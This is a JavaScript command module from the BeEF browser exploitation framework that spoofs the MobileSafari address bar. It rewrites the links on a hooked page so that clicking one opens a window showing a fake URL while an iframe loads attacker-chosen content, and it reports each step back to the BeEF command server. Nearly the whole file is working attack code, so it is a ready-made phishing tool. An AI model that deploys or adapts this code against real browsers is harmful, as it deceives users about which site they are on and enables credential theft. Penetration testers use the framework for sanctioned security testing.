Path: blob/master/modules/browser/hooked_origin/mobilesafari_address_spoofing/command.js
1873 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567var somethingsomething = function() {8var fake_url = "<%= @fake_url %>";9var real_url = "<%= @real_url %>";1011var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes');12newWindow.document.write('<iframe style="width:100%;height:100%;border:0;padding:0;margin:0;" src="' + real_url + '"></iframe>');13newWindow.focus();14beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked');15}1617beef.execute(function() {1819$j('<%= @domselectah %>').each(function() {20$j(this).attr('href','#').click(function() {21somethingsomething();22return true;23});24});2526beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten');2728});2930